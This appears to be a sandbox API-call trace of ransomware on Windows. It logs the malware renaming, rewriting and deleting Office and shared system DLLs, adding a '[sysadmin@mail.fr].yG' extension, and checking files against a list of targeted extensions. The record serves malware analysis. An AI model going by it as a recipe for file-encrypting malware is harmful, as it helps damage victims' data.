	[0179.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0179.538] lstrlenW (lpString=".doc") returned 4
	[0179.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString=".docx") returned 5
	[0179.538] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0179.538] lstrlenW (lpString=".pdf") returned 4
	[0179.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString=".xls") returned 4
	[0179.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString=".xlsx") returned 5
	[0179.538] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0179.538] lstrlenW (lpString=".ppt") returned 4
	[0179.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0179.538] lstrlenW (lpString=".zip") returned 4
	[0179.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString=".rar") returned 4
	[0179.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0179.538] lstrlenW (lpString=".bz2") returned 4
	[0179.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0179.539] lstrlenW (lpString=".7z") returned 3
	[0179.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0179.539] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x3cf50d8, Size=0x2000) returned 0x3cf50d8
	[0179.540] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1
	[0179.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0179.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0179.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0179.814] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.815] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0179.816] GetLastError () returned 0x0
	[0179.816] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x902bb, lpOverlapped=0x0) returned 1
	[0179.925] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x902c0, lpOverlapped=0x0) returned 1
	[0179.938] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.938] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x104, lpOverlapped=0x0) returned 1
	[0179.938] SetEndOfFile (hFile=0x35c) returned 1
	[0179.938] CloseHandle (hObject=0x35c) returned 1
	[0179.938] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.938] SetEndOfFile (hFile=0x350) returned 1
	[0179.945] CloseHandle (hObject=0x350) returned 1
	[0179.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0179.945] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1
	[0179.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.946] lstrlenW (lpString=".doc") returned 4
	[0179.946] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".docx") returned 5
	[0179.946] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.946] lstrlenW (lpString=".pdf") returned 4
	[0179.946] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".xls") returned 4
	[0179.946] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".xlsx") returned 5
	[0179.946] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.946] lstrlenW (lpString=".ppt") returned 4
	[0179.946] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.946] lstrlenW (lpString=".zip") returned 4
	[0179.946] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".rar") returned 4
	[0179.946] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".bz2") returned 4
	[0179.946] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.946] lstrlenW (lpString=".7z") returned 3
	[0179.946] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString=".dbf") returned 4
	[0179.947] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString=".1cd") returned 4
	[0179.947] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString=".jpg") returned 4
	[0179.947] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString=".doc") returned 4
	[0179.947] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString=".docx") returned 5
	[0179.947] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.947] lstrlenW (lpString=".pdf") returned 4
	[0179.947] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString=".xls") returned 4
	[0179.947] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString=".xlsx") returned 5
	[0179.947] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.947] lstrlenW (lpString=".ppt") returned 4
	[0179.947] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.947] lstrlenW (lpString=".zip") returned 4
	[0179.947] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString=".rar") returned 4
	[0179.947] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.947] lstrlenW (lpString=".bz2") returned 4
	[0179.948] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.948] lstrlenW (lpString=".7z") returned 3
	[0179.948] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.948] lstrlenW (lpString=".dbf") returned 4
	[0179.948] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.948] lstrlenW (lpString=".1cd") returned 4
	[0179.948] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0179.948] lstrlenW (lpString=".jpg") returned 4
	[0179.948] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.948] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0179.948] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24
	[0179.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.950] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18624) returned 1
	[0179.950] CloseHandle (hObject=0x350) returned 1
	[0179.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20
	[0179.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.950] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.950] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0179.951] GetLastError () returned 0x0
	[0179.951] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0180.275] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0180.810] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.810] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x104, lpOverlapped=0x0) returned 1
	[0180.810] SetEndOfFile (hFile=0x35c) returned 1
	[0180.810] CloseHandle (hObject=0x35c) returned 1
	[0180.810] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.810] SetEndOfFile (hFile=0x350) returned 1
	[0180.811] CloseHandle (hObject=0x350) returned 1
	[0180.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0180.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1
	[0180.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.812] lstrlenW (lpString=".doc") returned 4
	[0180.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.812] lstrlenW (lpString=".docx") returned 5
	[0180.812] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0180.812] lstrlenW (lpString=".pdf") returned 4
	[0180.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.812] lstrlenW (lpString=".xls") returned 4
	[0180.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.812] lstrlenW (lpString=".xlsx") returned 5
	[0180.812] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0180.813] lstrlenW (lpString=".ppt") returned 4
	[0180.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString=".zip") returned 4
	[0180.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.813] lstrlenW (lpString=".rar") returned 4
	[0180.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.813] lstrlenW (lpString=".bz2") returned 4
	[0180.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.813] lstrlenW (lpString=".7z") returned 3
	[0180.813] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString=".dbf") returned 4
	[0180.813] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString=".1cd") returned 4
	[0180.813] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString=".jpg") returned 4
	[0180.813] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.813] lstrlenW (lpString=".doc") returned 4
	[0180.813] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.813] lstrlenW (lpString=".docx") returned 5
	[0180.813] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0180.813] lstrlenW (lpString=".pdf") returned 4
	[0180.814] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.814] lstrlenW (lpString=".xls") returned 4
	[0180.814] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.814] lstrlenW (lpString=".xlsx") returned 5
	[0180.814] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0180.814] lstrlenW (lpString=".ppt") returned 4
	[0180.814] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.814] lstrlenW (lpString=".zip") returned 4
	[0180.814] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.814] lstrlenW (lpString=".rar") returned 4
	[0180.814] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.814] lstrlenW (lpString=".bz2") returned 4
	[0180.814] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.814] lstrlenW (lpString=".7z") returned 3
	[0180.814] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.814] lstrlenW (lpString=".dbf") returned 4
	[0180.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.814] lstrlenW (lpString=".1cd") returned 4
	[0180.814] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0180.814] lstrlenW (lpString=".jpg") returned 4
	[0180.814] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.815] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0180.815] lstrlenW (lpString="VGX.dll") returned 7
	[0180.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0180.815] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=987136) returned 1
	[0180.815] CloseHandle (hObject=0x350) returned 1
	[0180.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20
	[0180.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0180.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
